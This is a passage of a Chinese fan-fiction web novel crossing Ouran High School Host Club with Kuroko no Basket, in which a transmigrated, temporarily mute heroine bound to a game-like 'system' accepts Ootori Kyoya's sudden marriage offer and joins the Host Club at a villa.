路过贩卖机的时候我犹豫了一下, 还是买了一罐红豆汤当午餐,决定中午为了保存体力就不下来了。
“黑井。”
“喂, 黑井, 我下午要出去一趟,今天的补习取消。”
我拿着还温热的红豆汤背后一激灵,回头看到了不应该出现在这里的凤镜夜和一个肤色过深一脸拽样的高大少年。
补习?
我翻了翻记忆,好像是有这回事来着。
这家伙是篮球部成员,为了不发生因为成绩不合格而不能上场的悲剧,我积极担任了这家伙的补习老师——有收入的那种。
可是他看起来……好高啊,真的是高中生吗?
脸也看不起来不好惹的样子。
我在那双深蓝眼眸的注视下飞快搜刮记忆,好像是叫……
我低头打字:我知道了,青峰同学。
青峰大辉已经打算离开,见她只在手机上打字,转头又看了她一眼,疑惑的挑眉随口应了一声:“嗯。”
我简单解释了一下声音的事情,并打算辞去为他辅导功课的兼职。
青峰大辉对篮球之外的事情没什么好奇心,没有多问同意后就转身离开,走了一步,又皱眉看了眼凤镜夜:“明天还是照常。”
我心里一暖,仰头朝他笑了笑,把身上唯一能当做礼物的东西递出去当做谢礼。
青峰大辉低头看了眼递到眼前的红豆汤。
糟糕。
他们应该还没熟到这个程度,一时感激就送出去了,这可是我的午餐啊!
请一定要拒绝啊青峰君!
手心一空。
“谢了。”
我眼巴巴的看着我的午餐逐渐远去,叹了口气,摸了摸钱包决定中午先忍忍,晚上可以去吃员工餐。
我转身朝教学楼走去,倏地对上一双审视的黑眸,樱兰量体裁衣定制的校服让他修长的身姿看起来更加挺拔,带着与生俱来的贵气和压迫感。
此时那压迫感直接落在我身上。
我不着痕迹的皱了皱眉。
他收起手机,忽然改变了一开始的想法。
本来只是来和她好好谈谈的。
“我已经跟你们校长请好假了,走吧。”
我手指动了动,刚打好的回答没来得及给他看,那人就已经转身离开,似乎没有想过我会不会跟上来。
“叮铃铃——”
急促的上课铃声在校园上空回荡。
原本还能看见零星学生的小院归于寂静,我捏着手机往教学楼的方向走了两步,面前又弹出鲜红的OOC警告。
……好吧。
我默然转身远远的缀在凤镜夜身后,还在为远去的午餐哀悼,额头忽然撞上一只手。
我捂着额头猝然后退一步,望着近在眼前的电线杆有点尴尬,习惯性张口道谢又因为发不出声音,手忙脚乱的鞠躬道谢。
凤镜夜收回手,视线落在她脸上不作伪的慌张上,率先转身打开车门,打断了她的动作。
“走吧。”
·
我坐在医生对面张口任由对方检查,打开系统面板戳了戳客服,询问惩罚时限。
[基于员工OOC惩罚的回复:失语症为高度OOC惩罚不可提前取消,时限不定,请员工努力工作]
真的假的,哑巴也能攻略成功吗?
医生看了眼自家少爷,推了推眼镜,谨慎地说:“黑川小姐应该是属于心理性的失声,可以做一些辅助性恢复训练,恢复时间并不能确定。”
我安静的坐在原地,对这个结果并不意外,感受到两人的目光都落在身上,我拿出凤镜夜刚刚给我的便签本写了行字递给他。
我可以去上课了吗?
凤镜夜深深的看了她一眼,那双雾蒙蒙的蓝眸中只有平静,似乎说不了话对她没造成影响。
眼神还是会在他身上不自觉停留,却似乎不打算提出任何要求。
说起来她的失语症是在面对他的时候忽然出现的,如果一定要追究的话,他不可能置之不理。
但前一天还任性的提出冒犯的要求,现在却变得无欲无求,人真的能变得这么快吗?
如果我能知道他的心声,一定会说:事已至此,攻略对象好感度都快成负数了,我还没有没眼色到这种程度。
首先还是先解决温饱的问题吧。 (悲
我提着开出来的保养品出了医院,既然已经请假了,我决定今天就去咖啡厅提前上工好了。
凤镜夜推了推眼镜看着黑川一毫不犹豫离开的背影,转身上车:“回学校。”
“是。”
司机也算是看着三少爷长大的,见那位少爷亲自来见的小姐独自离开,没忍住说:“镜夜少爷您不是特意请假来见这位小姐的吗?”
“不如我们送她一程?”
靠坐在椅背上的黑发少年冷淡的看着手机,面色平静:“不是什么重要的人,既然她不需要,之后大概也不会见面了。”
是吗?
司机看了眼自家少爷欲言又止。
您看起来可不是无所谓的样子,那位小姐似乎让镜夜少爷印象很深刻呢。
往樱兰的路上有点堵,车辆驶过樱兰附近的商业街,司机忽然看到熟悉的身影。
“咳,镜夜少爷那好像是……黑川小姐?”
凤镜夜没有回应,不是没听到,而是从更早的时候他就已经发现了才分开不久的黑川一。
想到昨天晚上偶然看到的模糊照片。
黑川家的女儿也要出来打工吗?
他脑中闪过那双从似乎什么都无法印入其中的钴蓝瞳孔,天资聪颖勤奋好学的凤家三公子鬼使神差的改变了计划。
“就在这里停车吧。”
司机了然于心的把车停在名叫lovelovely的咖啡店面前:“镜夜少爷,到了。”
……我是说停在刚刚的位置就行了。
凤镜夜修长的手指收紧了一瞬,算了。
他打开车门镇定的在司机暗含欣慰的目光中走向咖啡厅过于可爱的大门,随着推开门的铃声响起,身穿女仆装的可爱少女朝这边微微躬身。
“欢迎回来,主人~”
他顿了一下,以一种全新的眼光将整个咖啡厅观察了一遍,从容的落座后点了杯手冲。
然后拿出随身的笔记本运笔如飞。
“没想到外面的咖啡店还是有可取之处,唔,这种增加喜闻乐见的元素让记忆更加深刻的点,果然和公关部有相似之处。”
我端着刚做好的咖啡来到角落的小桌,熟悉的身影背对着我在本子上写写画画。
一杯散发着热气的咖啡被轻轻放在桌上。
浅淡的香气随着余光中滑落的黑色长发悄然飘散。
细长的手指指甲修剪得很干净,握着一张写了招待用语的可爱小牌,在他看过去的时候向露出浅浅的笑意。
凤镜夜望着她截然不同的形象,陷入思索。
竟然是和春绯一个类型吗?
平时看不出来,到特定的时候反而更让人惊讶呢。
他镜片后的眼睛垂下,端起散发着香味的咖啡,浅浅抿了一口,然后将几乎没动过的咖啡重新放回桌角。
手指轻轻点在膝盖,俊秀的面孔微微垂落,陷入思索。
“喂!你就是这样招待客人的吗!”
“啊!不要!”
靠近窗户的桌子忽然吵闹起来,混混打扮的青年拉住一名女仆的手,把她拽到身前,空闲的手摸向她的脸。
那名女仆手中的托盘仓促中全部倾倒在地,发出噼里啪啦的声响。
“只不过是让你陪我坐一会儿,为什么这副表情?哈?”
染着花花绿绿头发的小混混轻佻的说:“难道你们只喜欢那种小白脸?”
被他看了一眼的凤镜夜推了推眼镜,慢条斯理的放好笔记本,冷淡的站了起来。
一道身影比他更快一步。
穿着可爱短款女仆装的黑发少女拿着托盘出现在小混混身后,面无表情的拍了拍他的肩膀,无机质的蓝眸静静地看着他。
“可以放开吗?”
彩毛小混混歪头凶恶脸:“哈?!滚开臭女人,还是说你想替她陪我坐一会儿?”
我顶着店长姐姐担忧的目光,用另一边手臂将托盘夹住,将手伸向他拽住店长的手。
明明只不过是普通阿宅。
但我忽然有种这家伙不过如此的自信((奇怪。
“啊!”
出乎所有人的意料,彩毛小混混脸上故作凶狠的表情没有维持过一秒,忽然惨叫一声捂着手腕跪倒在地向。
我拉着店长退后一步,拿出手机准备报警。
“我已经报过警了。”
凤镜夜冷静的声音插了进来。
我回头对上他闪过复杂的眼睛,点点头,在书写板上写下感谢。
他又推了推眼镜:“不用谢我,可以的话,我想和你聊聊。”
第67章
今天警署出警的速度好像格外迅速, 还没等彩虹头小混混重新站起来,就已经被及时赶到的警察带走。
发生了这样的事情,店长特意提前关店,并将我推向凤镜夜的方向,暧昧的眨了眨眼睛。
我们并不是那样的关系, 我目前也对他……算了。
我抿唇走向他。
背对着我的凤镜夜不知道对带走人的警察说了什么,总感觉彩头混混要倒大霉了。
他察觉到了什么,转头正好捕捉到我的视线,脸上还带着未散去的社交浅笑。
看起来一副风度翩翩的贵公子做派。
但我还是不自觉打了个冷战,不自觉后退,这种类型我真的应付不来啊系统!
就算心里恨不得和凤镜夜保持两米的安全距离,在他靠近的时候,我还是乖乖的站在原地。
他走到我面前, 心情似乎不错,拿出手机:“鉴于我们的沟通效率可能不太理想, 我们交换一下LINE吧。”
我:“……”
没想过的转折来着。
我迟钝的掏出手机, 生疏的操纵对我来说过于古老的按键机,在穿越第二天达成了与攻略对象交换联系方式的成就。
虽然他的好感度还是负……咦, 已经归零了。
什么时候?
我拿着交换过联系方式的手机,迟疑的看向凤镜夜,接下来要做什么?
面对面聊天框交流?
他收回手机, 单手插兜的样子,站在咖啡厅门外吸引了不少视线。
我挪了挪脚步, 让自己被挡在他的影子里。
工作的时候就算了, 免费被围观哒咩!
他先是环视一圈,那些偷偷落过来的视线被与他对视后被烫到了一样收了回去。
看来他也不喜欢被围观,我偷偷松了口气。
凤镜夜见她在自己面前总是一副神经紧绷的样子,眉头微挑,随口道:“我先走了,等会儿短信联系。”
我立即点了点头。
凤镜夜往左边离开了,那边是樱兰高中的方向,我这才想起来这个时候他应该要去的是男公关部吧。
真是敬业呢。
心里因为太紧张不断闪过无意义的思绪。
我换衣回家,还好店长已经离开了,不然还要解释我和凤镜夜的关系。
我拐进公寓附近的超市,离发薪日还有几天,我用仅剩的钱买了最便宜的豆芽和炒面用来应付接下来几天的午餐,还好房子里还有留下的食用油和调料。
公寓里。
炒锅里的油脂发出滋滋跳动的声音。
我穿着从衣柜里翻出来的旧体恤短裤当家居服,之前的睡衣实在有点小穿起来不是很舒服,只能被我裁开当做擦地的抹布了。
可恶,做任务穷困潦倒到这种程度也就只有我了吧。
我关掉前辈一天三次发来的没营养问候,挑起一筷子炒面,绝对不能让前辈知道我现在的状况,不然接下来的好几年说不定都要被当做黑历史嘲笑。
“滴滴滴!”
插着充电线被端端正正摆在空旷桌面的手机闪了闪,我打起精神挺直脊背,点开对话框。
终于来了!
我肃着脸,移开不小心放多了盐的炒面,两只手端正的拿起手机。
既然不能直接道歉破坏掉想要嫁给凤镜夜的形象,那现在的聊天就是一个机会。
网恋什么的不就是抛开现实的样貌家庭工作等一切实际的东西,用言语和头像塑造出的可爱形象得到对方的喜爱吗?
简直是天时地利人和(非常正经的想出非常不靠谱的方法。)
我点开对话框,看着对面发来的简单问候,没急着回答先是打开浏览器精挑细选了一番,最终将原始头像换成了可爱的黑色猫猫大头。
凤镜夜写着男公关部下一次的活动主题企划书,顺便看了眼显示已读的消息,手边放着的资料上粘着黑发少女的证件照。
果然之前是他猜错了,这家伙哪里是被宠坏的大小姐,顶多算是目光短浅想要进入凤家脱离现状天真到愚蠢的少女。
他忽然想到的今天下午。
……勉强还可以加上还算可爱以及心地不坏的标签。
拿到这份资料之后,既然他们之间没有太深刻的矛盾,以凤镜夜的行事准则,黑川一顶多算是过去式的小插曲,从此置之不理就好了。
但想到最近父亲频繁提起的事情,他第一个想到的竟然不是春绯的脸,而是黑发少女雾蒙蒙的眼睛以及总是不安的脸。
春绯和环之间,选择环和大家是理所当然的事情。
至于这个家伙。
他取下眼镜,按了按鼻梁,落下的手指轻点资料上的照片。
大概是合适吧。
她急于脱离现状渴望着嫁给他,他也需要一个看的顺眼的人选,来敷衍老头子。
他视线虚虚落在电脑屏幕上,已读的对话框过了半晌忽然闪了闪,他转动视线。
没有跳出回复。
变化的是头像。
可爱的黑色猫咪睁着圆溜溜的眼睛靠近镜头,有种莫名的既视感。
过了一会儿。
黑川一:晚上好,凤君。
又过了一会儿。
黑川一:[猫咪啃手JPG]他清楚的记得对面少女的样貌,平时看起来有点不起眼,穿可爱系的裙子反而意外的合适。
他的视线落在她的头像和表情包上,总是控制不住的和猫塑女仆连线。
凤镜夜看了一会儿,心头划过奇怪的感觉,手指不自觉划过资料上黑川一的脸,陷入沉默。
那一丝莫名的无处寻找的痒意来的快去的也快。
他将其归咎于猫咪照片的魅力。
对面又发来了消息。
黑川一:凤君,关于昨天的事……
他动了动手指,将原本写下的字删除,没了听她再次狼狈剖白的兴致。
凤镜夜:不用再解释了,我知道你只是冲动,我们也许不该浪费更多在和她进行无意义的闲聊和道歉上。
黑川一:好……好的。
想好的道歉被堵了回去,我有种摩拳擦掌一拳打在棉花上的感觉,不免有些泄气。
难道通过聊天拉近关系的方法宣告失败了吗?
我捏着手机捂着脸有气无力的趴在桌子上,贴着脸的手机忽然震了震,对面看起来非常冷漠的黑色头像跳出来一行新消息。
凤镜夜:那么,要和我结婚吗?
我苦恼的表情一顿,忽然从凳子上跳了起来,打开窗户往外看了眼,被冷风糊了一脸。
天空也没出现红光、日全食之类的。
我抱着脑袋蹲下,心中呐呐:“难道是我因为太想完成任务形成的幻觉?那也太可怜了吧。”
“还是他的试探,如果我直接答应会不会正中他的圈套,因为还对他抱有非分之想被彻底出局?”
“还是真心话大冒险?”
“但是……万一呢?”
我做了一连串俯卧撑,沉着脸回到桌前,郑重的拿起手机,心里祈祷前置任务千万要成功啊。
删删打打半晌,最终只发了简单的回应,只有充满感情的表情包代表着我激荡的心情。
黑川一:好。
黑川一:[婚纱猫咪捧花JPG]
另一端的凤镜夜看着她的回复,意料之外又情理之中的感觉,视线落在那只披着婚纱拿着捧花的猫咪身上。
安静的卧室里蓦然响起一声轻笑。
“这样也不错对吧。”
他的人生计划中没有对婚姻中多出的另一半的安排,现在不管怎么想都很麻烦,但如果是黑川的话,应该会有趣一点。
凤镜夜:周末有时间吗
我趴在床上,双手举着手机,认真的核对了一下行程,其实只有咖啡店打工的日程安排,然后动动手指给店长发了请假的信息。
对面很快回复,并且反复关心她有没有受今天闹事小混混的影响。
说起来这个,我无奈的给对面担心太过的店长发了万事OK的表情,承诺自己真的没事。
然后挣扎着翻了个身仔细观察问我的手臂和胳膊。
“完全看不出有什么区别,忽然间武力值暴涨是什么系统福利吗?”
[本系统公平公正不包含任何暗箱操作,所有收货都是通过正规渠道获取,请正视事实,积极攻略。 ]
我无言。
“这种时候倒是出现的很快。”
黑川一:有时间。
凤镜夜:那就好,周末上午十点我来接你。
·
叮铃铃的闹钟疯狂震动。
床上隆起的被子动了动,半晌才挣扎着从其中探出一个脑袋,疏于打理的黑发凌乱的四处支棱,张牙舞爪的随着主人的动作飘动。
我艰难的从被子里把自己拔出来,耳边是不断嗡鸣到刺耳的铃声,却无人将它停下。
我看着镜子里挂在眼下的黑眼圈,撑着腰刷牙,要说为什么的话,完全是因为那是楼上住户的闹钟。
公寓楼的隔音真的是太差了。
我吐出橘子味的泡沫,踩着拖鞋拉开衣柜打起精神搭配一下和凤镜夜第一次外出约会的衣服。
宽大的衣柜门发出嘎吱一声怨念的声响。
里面整齐的堆放着我一年四季的衣服,除了挂在旁边的外套,其余衣服加起来也装不满半个衣柜,能用来增添女子力的约会服饰自然没有。
我还是认真的在其中抉择出了一身看起来不太旧的私服,抓着衣服往身上套的时候,饶是我也有点想叹气。
如果能穿校服出门约会就好了。
我和已经长至腰间的黑发纠缠了好一会儿,才勉强梳理整齐,对着镜子看了一会儿非常有心机的拿起一管有颜色的润唇膏涂了上去。
不错,好像看起来精神多了。
打理完一切,距离约定的时间还有一会儿,我从冰箱拿出昨天“斥巨资”买的三明治材料,全部做成可以随时拿取的便利食品
我叼着一块三明治,久违的自制食物的香气,就只是最简单的三明治也让我幸福的眯了眯眼。
啊,对了,按照攻略游戏的发展,这种时候果然还是要把勤劳的成果拍给对面看,说不定能加分。
我倒退回来,拿起手机对着冰箱里的一堆三明治拍了一张,又迟疑了一下,单独拿出一个重新拍了一张发给凤镜夜。
黑川一:简单做了早饭[图片]
黑川一:你吃早饭了吗
黑川一: [猫猫颠勺JPG]
对面的少年低头看了会儿厨师猫咪的表情,鬼使神差点了收藏。
第68章
我满意的合上手机, 只有一个的话,还是这种简陋的三明治,他应该不会想吃吧。
贫穷得理直气壮呢。
我拿起挎包扣上鸭舌帽打算提前出门去楼下等他,关门之前忽然手机震动了一下。
凤镜夜:看起来不错, 没有。
我关门的动作僵住。
可恶, 这样回复的话, 那不就只有带给他一种选择了吗!
[叮——任务目标好感度专为正数(撒花) ]
我顿了一下,点开系统面板, 忽略了四处飘落的彩带,找到debuff页面。
果然[失语症]消失了!
我兴奋的关闭面板,拿起三明治就往下跑。
公寓楼下低调的黑色轿车里,凤镜夜看了对面发来的图片一会儿,忽然想到那天也见她吃的三明治。
原来是自己做的吗?
他手指动了动,面前忽然出现一个金色打脑袋,那人看着手机上的画面发出了大惊小怪的声音。
“什…什么?这就是平民的早餐吗?”
凤镜夜抬高手机,试图让须王环离远一点,没想到手腕被抓住,他陡然对上一双泪汪汪的紫眸。
须王环哽咽:“镜夜, 我忽然想尝试一下平民早餐, 我的这份就让给她吧!”
凤镜夜:……这个白痴。
“不用, 管家有多准备一份。”
他看了眼须王环失落的表情, 无语的加上一句:“我知道了。”
我拿着装了三明治的便当盒,脚步毫不犹豫的朝一辆黑色轿车走去,主要是那个努力朝这边挥手的金发少年实在是太显眼了。
“一酱~这里这里~”
我的步伐顿了一下, 四周投射过来的视线,让我不自在起来,脸颊温度逐渐升高。
好……丢脸。
我不自觉后退一步, 车辆后座的窗户就被降了下来,凤镜夜平静时总是显得格外冷淡的侧脸显露出来,冷白的皮肤在漆黑的车辆以及深色衬衫的衬托下格外引人注目。
“小一,过来。”
从第一次见面就非常热情自来熟的须王环也就算了,他……竟然也叫我的名字了吗?
我莫名顺着他的话走了过去,心里还在想,是不是进展太快了。
直到坐在凤镜夜身边,鼻尖被他身上浅淡的冷香笼罩,才看看回过神。
不,不对。
我骤然想起一个被大脑自然屏蔽的事实——我已经答应和他结婚了。
所以叫名字是理所当然的事情吧?大概。
我把便当盒递过去,对于这位结婚对象还没什么实感:“凤……凤君,这是我做的三明治,不嫌弃的话请用。”
这本来是我未来的早饭,如果他敢真嫌弃,我绝对会偷偷在心里降好感! !
惹到我算你惹到棉花了.JPG
凤镜夜垂眸看着她,眼神深处闪过思索:“你的声音好了?”
说到这个我可开心了,点点头给了他一个掩饰不住欣喜的笑脸。
凤镜夜顿了一下,不再看她。
是他想多了。
他五指修长的手自然接过我捧在手里的木质便当盒,从橱柜角落里翻出来的便当盒看起来已经有些念头,边角有明显磕碰摩擦的痕迹,盒身还有不均匀的褪色。
我的视线情不自禁跟随着那只慢条斯理打开盖子的手。
虽说是大少爷养尊处优的手,五指修长白皙,指甲沿着圆润的游离线修剪得非常整齐,薄薄的皮肤下透出血管的青紫,像精雕玉琢的工艺品。
指腹却带着不明显的薄茧,配合着曲起手指时手背上鼓动的青筋与的骨节,散发着属于见于少年与青年之间的力量感。
那只漂亮的手轻轻拿起我的挑选过体积更小的简陋三明治送入口中,精致清冷的脸上看不出什么好坏。
随着咀嚼而跟着轻微颤动的下垂生长的羽睫是那张脸上唯一称得上灵动的地方。
忽然那双专注的落在食物上的黑眸抬起看了过来。
我一惊想要收回视线。
凤镜夜那张冷淡的脸动了动,似乎露出了一个极为温和的表情,等我睁大眼睛再看的时候又仿佛是我的错觉。
一个比我两只手合在一起的三层饭盒被放在我面前的桌板上。
他微微侧头,目光轻飘飘的落在我身上:“这是回礼。”
我在心里自动补全:这是吃了我的早餐的回礼。
我嗅着萦绕在鼻尖复杂的香气,小心打开顶层的盖子,晶莹剔透的虾饺和金黄酥脆的天妇罗散发着令我心驰神荡的香味。
还没打开下面两层,我就已经在心里划掉了客气客气的选项。
已经吃过一个三明治的胃紧缩,又泛起了一股饥饿。
同时我的良心似乎也在隐隐作痛。
早知道就选正常点的了。
我看了眼凤镜夜手中已经被彻底消灭的消瘦版三明治。
那只手正拿着一块手帕轻轻擦拭拿过三明治的手指,深色的手帕拭过玉色的手指,我重新梗着脖子转过脑袋一口气塞了两个虾饺进嘴里。
鼓着腮帮子嚼嚼嚼,睡眠不足的眼睛一亮。
好吃! ! !
宇宙猫猫头升华.JPG。
我幸福的埋头炫饭,心里那点零星的愧疚变成了纯粹的开心,完全把车里的另一人抛在脑后。
须王环咬着手绢朝毫无征兆改变主意的凤镜夜发射怨念视线,小声念叨:“平民的早餐平明的早餐平民的早餐平明的早餐……”
沉浸在幸福中我忽然后背吹过一阵阴冷的风,我叼着天妇罗警觉抬头,对上一双被阴影覆盖的紫眸。
啊,对了车里还有一个人。
我犹豫了一下,把准备放在最后吃的蛋挞递过去:“须王君也没有吃早餐吗?”
坐在中间的凤镜夜擦手的动作顿了一下,看着被一只纤瘦的手托着送到面前的蛋挞,以及面色急速变换的好友,他闭了闭眼睛。
果然还是要阻止……
我伸出去的手被金发少年满含热泪的推了回来,我动作流畅的塞进嘴里。
然后空闲的手紧接着就被热忱的握住。
我艰难咀嚼的动作一顿:“?”
须王环感动:“明明自己只能吃平民的便餐,在这种时候还想要和我分享,呜呜呜好感动!”
我额角一抽,虽然但是,你想太多了,我本来没想分享来着。
大少爷情感好丰富啊。
我看着指尖的油渍蹭上他的衣袖,默默蜷缩起手指,试探性的往回收。
没抽动。
被夹在中间被迫看完两个傻子互动全程的凤镜夜推了推眼镜,镜片闪过一片白光,声音十分温和。
“我说,你们两个,要在我面前挤多久。”
我反射性身体一震,出于某种直觉立即想要撤退,手上忽然一空,刚刚还挂着泪珠耍宝的须王环已经坐回了自己的位置。
像是什么都没发生一样,向两根手指抵着额头静静的看着窗外,金发随着微风轻轻浮动,倒是真的像是贵族少爷了和刚才像是两个人。
在我看过去的时候,他悄悄转头朝我wink了一下。
我:“……”
好吧,还是一个人没错。
凤镜夜平和的声音在头顶响起:“小一?”
微凉的手轻轻落在我的肩膀,力道轻柔和缓却坚定有力的将我扶了起来。
我呆滞中带着惊恐的眼神对上他的眼睛。
他看着我似乎短暂的笑了一下,颜色是极为浅淡粉色的唇微勾:“既然已经答应了,那还是习惯一下比较好,还有,坐好。”
我的手指下意识按上挎包,里面薄薄的证明没什么存在感,但在他的注视下我忽然觉得指尖有些发烫。
“……嗯。”
我避开他的视线,又补充了一句:“我会尽快习惯的。”
车里的氛围安静下来。
须王环并不是习惯安静的家伙,没过一会儿,他又兴致勃勃的看向我。
“镜夜说的不错,作为第一个参加公关部集体活动的女士,接下来的一个星期可要好好相处才行~”
公关部的活动?
第一个?
一个星期?
我忍住重新翻开昨天的聊天框看看是不是漏了一集的信息的冲动,因为昨天晚上的信息我已经反复看过了,确信凤镜夜没有说过这件事。
虽然想到要再次见到藤冈春绯心里竟然有些开心。
但我对其他几个全程观看了我黑历史的大少爷敬谢不敏,那会让我的脑袋变成反复播放黑历史的放映机。
而且我和那群不用靠近都能看到闪闪发光主角光环的人完全气场不和,如果不是任务对象是凤镜夜,应该一辈子都不会有交集才对。
可恶,都怪系统。
这种一进来就天然站在他们对立面的形象到底要怎样!
要是我的第一次任务失败一定是它的错!
车辆转入一大片被精心打理过的山林,每一棵树木花草都最大程度保留着原始的模样,又不着痕迹展示出最令人心旷的美景。
车辆畅通无阻的在这片看似原始的山林或者山头中行驶,直到某一刻天空终于从密集的枝叶中钻出来,视线豁然开朗。
充满野趣、宽阔柔软的草坪尽头矗立着一座充满田园气息的豪华别墅。
我维持着震惊的表情下车,在别墅草坪上追逐打闹的双胞胎都没分走一丝注意力。
“啊哈哈啊哈哈哈快来追我啊光~”
好……好豪华的别墅。
“啊哈哈哈啊哈哈哈抓到你了馨~”
这布灵布灵的是……我手搭凉棚望向别墅顶层,眼神逐渐犀利,是泳池啊~
“走吧,小一。”
我机械性的跟在凤镜夜身后,经过一丛缀满野莓的灌木时,草丛的突然动了动。
我原地走了两步,脚下轻飘飘的。
一左一右先后传来两人相似的声音。
“咦,这位是……”
“我们镜夜学长的未·婚·妻吗?”
我晃了晃悬在空中的小腿,似曾相识的感觉,会做出这种事情的只有那对喜欢看热闹的双胞胎了吧。
叫什么来着?
“请放开我常陆院君。”
我和凤镜夜现在算是未婚夫妻吗?应该?
左边的常陆院说:“雅哒——黑川小姐快告诉我们你是怎么说服镜夜前辈的。”
右边的常陆院:“公关部的聚会还有加入过不相关的人呢,好奇——”
更正。
这对双胞胎不仅仅喜欢看热闹性格还很恶劣啊。
我动了动胳膊,思索着怎么不伤到他们的情况下把自己弄出来,应付道:“关于这点就算你们问我我也不清楚啊。”
明明前一天只是说出门而已,嗯,带上了户籍证明的那种。
“诶——”
他们发出狐疑的声音凑近盯着我:“不理解。”
“光,馨,她是我邀请的客人。”
凤镜夜不知什么时候返了回来,冷白的面容在阳光下仍然冷清,像夏日里加了冰块的薄荷水。
他狭长的眼眸扫了我们一眼,转身往别墅走去:“先进去吧,人都到齐了。”
我被放了下来,双胞胎拉长了声音应是跟了上了。
我踩着软乎乎的草坪,静静的看着凤镜夜的背影,低声自语:“忽然就……心情变差了?”
第69章
相较于别墅外围特意装潢的田园氛围, 步入其中就能感受到原本浓重的欧式风格。
豪华的水晶吊顶折射着令人目眩的光,从旋转楼梯一直延伸到门口的深红地毯踩在脚下格外柔软,沿着两边墙面排开雕刻着复杂花纹的支柱链接着圆形的拱门。
明明不是玫瑰的季节,盛放的花朵萦绕着整个大厅,让冰冷富丽的大厅多了些生气。
我跟在凤镜夜身后渐渐开始出神。
先不说今天穿着宽松体恤和及膝短裤就出门的我,就算是之前的生涯中也很少到这种地方呢。
好歹做了那么多背景板任务没见过猪肉也见过猪跑,倒不是忽然自卑之类的矫情。
只是忽然有种诡异的不适配感。
啊,黄毛竟是我自己。
我搓了搓脸,扔掉莫名其妙冒出的想法,打了个寒战,系统在我身上加了什么buff ?
不。
我按着额头。
一定是昨天晚上睡眠不足造成的,今天的思绪完全不受控制。
我垂着脑袋跟着凤镜夜,视线中平稳迈步的双腿忽然一顿停了下来。
“春绯, honey前辈,铦前辈你们提前到了。”
“多亏了铦前辈和honey前辈来接我,镜夜前辈也很准时啊,诶,是黑川桑?”
我浑身一震抬起头,坐在小厅沙发上的棕发少年带着漂亮的笑容望着我,杂乱的思绪陡然一清,我不由自主走过去。
“日安, 春绯。”
藤冈春绯愣了一下,脸上的笑容扩大,牵着我的手坐下:“小一,真开心你也来了。”
我顶着几人若有若无微妙的视线,微红着脸坐在他身边,心情出乎意料的放松下来。
果然在春绯身边会感觉很舒服不是错觉。
“春绯今天的私服也帅气啊~”
“啊哈哈哈哪有, 只是商场打折的时候采购的,说起来小一平时竟然是这种形象,感觉很不一样。”
“商场打折!下次可以带上我吗?我也要重新买点衣服。”
“好啊!来交换联系方式吧,下个周末怎么样?”
“好哇好哇。春绯的头像好可爱,是寿司吗?”
明明坐在周围却被两人自然而然忽视掉的几人齐刷刷看向端着茶杯的凤镜夜。
常陆院光:“我说镜夜前辈,好歹也管管你带来的人吧?”
常陆院馨:“春绯看起来好像和黑川很聊得来的样子。”
他看向在角落种蘑菇的须王环。
“我们这些先来的就算了,大少被忽视得彻底呢。”
果然还得是春绯,我单方面将他任命为我的好朋友,接过端着他递来的茶浅浅抿了一口。
我表情放松,借着喝茶的姿势遮掩,偷偷转头动了动鼻子又转过头正襟危坐,没感觉错,靠近春绯的空气都是香香的。
好幸福。
今天真是来对了。
如果能让我和春绯贴贴就算是和凤镜夜结婚我也愿意!
“啊对了,听镜夜前辈说明天有流星雨,明天我们一起去看吧。”
我连连点头:“好啊,我去!”
凤镜夜终于放下茶杯看过去,手肘顺势放在翘起的膝盖上推了推眼镜。
身穿的宽松体恤和黑色短裤的少女披散着漂亮的黑色长发,不知是不是错觉,那头黑发似乎比初见时要黯淡一点。
从黑色短裤中延伸出的小腿修长笔直,行动时带着漂亮流畅的线条,整个人都显得十分纤瘦,脊背总是不自觉挺直,融合出微妙的阴郁又古典的气质。
和资料中或者说是第一次见面的样子变化不小。
一个人给人的感觉真的可以在短短几天之间发生这么大的变化吗?
而她身边穿着中性风格宽松体恤和长裤的棕发“少年”笑容清丽,气质柔软温暖,说话时棕色眼眸专注的看着说话对象。
两人谈话的画面奇异的和谐。
是在迁就新客人吗?
不,不是,春绯是天然的直觉系,大概真的是气场相合吧。
两人说着相视一笑,中间的距离在不自觉见逐渐拉近。
常陆院光、馨:盯——
凤镜夜手指轻点额角,将两人脸上的笑意收入眸中,若有所思,朝他们摊了摊手表示无能为力。
“小春~~我们一起来吃蛋糕吧~”
一道金色的身影窜了出来,打破了小厅奇怪的氛围,以迅雷不及掩耳的速度出现在春绯背后。
我止住谈话,好奇的和他一起往他身后看去,对上一张格外可爱的正太脸。
他极其敏感的捕捉到我的视线,朝我看了一眼,我背后反射性一寒。
这是什么?
我怔愣在原地,他已经转过头继续和春绯撒娇了。
藤冈春绯:“蛋糕啊,今天晚上不是要露营吗?要不要做点简单的带过去?”
埴之冢光邦捧着脸:“诶——可以吗?”
“当然可以啦,对了,小一要一起来吗?”
我想到刚刚那一眼,沉默了一下,在直觉和感情之间抉择。
他转过头:“小一?”
唇角擦过柔软的触感。
我:“!”
我的初吻(已经不是了)!
春绯捂着唇微红着脸向后退了点:“抱……抱歉。”
我内心尖叫:“没……没关系。”
周遭的空气好像安静了一瞬。
须王环忽然狂奔而来,抓住春绯的肩膀轻巧的转了一圈就让她离开了刚才的位置,喋喋不休的抓狂声音断断续续传来。
只剩下我尴尬的坐在原地。
埴之冢光邦不知为什么没有走,反而继续坐在原地看着我,双子也围着春绯在说什么。
这里只剩下我和他以及从刚才开始就自顾自沉默的凤镜夜。
我尝试打破这样过于凝滞的氛围,尝试和埴之冢光邦搭话:“不是要带蛋糕去野炊吗?”
“我们去厨房准备怎么样。”
身材娇小但气势惊人的金发正太看着我,表情可爱,但那双眼睛拥有能够看透人心的犀利。
我疯狂在隐藏社恐宅女的本质。
他忽然从沙发上跳了下来,抓住我的手腕朝厨房走去,笑眯眯的说:“那我们走吧,小一。”
诶?就连他也?
我迟钝的应了一声:“啊啊,好的。”
就连埴之冢光邦也这么快接受我了吗?
感觉公关部的大家比想象中要好相处——除了那对恶魔双胞胎。
我轻松起来,直到踏入比我公寓还要大的开放式厨房,看着冰箱里塞满的高档食材心情。
我扶着冰箱门的手微微颤抖,目光落在丰富的饮料区,瞳孔里折射出诡异的光。
“这个……这个牌子的进口限定柑橘美味汽水,这么多?”
埴之冢光邦歪着脑袋凑过来看着冰箱:“是哦。”
“因为管家除了客人各自的喜好之外,还格外收集了大受欢迎的零食放到这里,供给大家取用,小一要喝吗?”
我定定的看了一会儿在饮料柜上占据一整层的橘子饮料,才艰难的撕开视线,只拿了需要的食材。
“不,还是先做甜点吧。”
我犹豫了一下,询问他:“甜点的话我做蛋挞和草莓蛋糕比较拿手,这两种可以吗?”
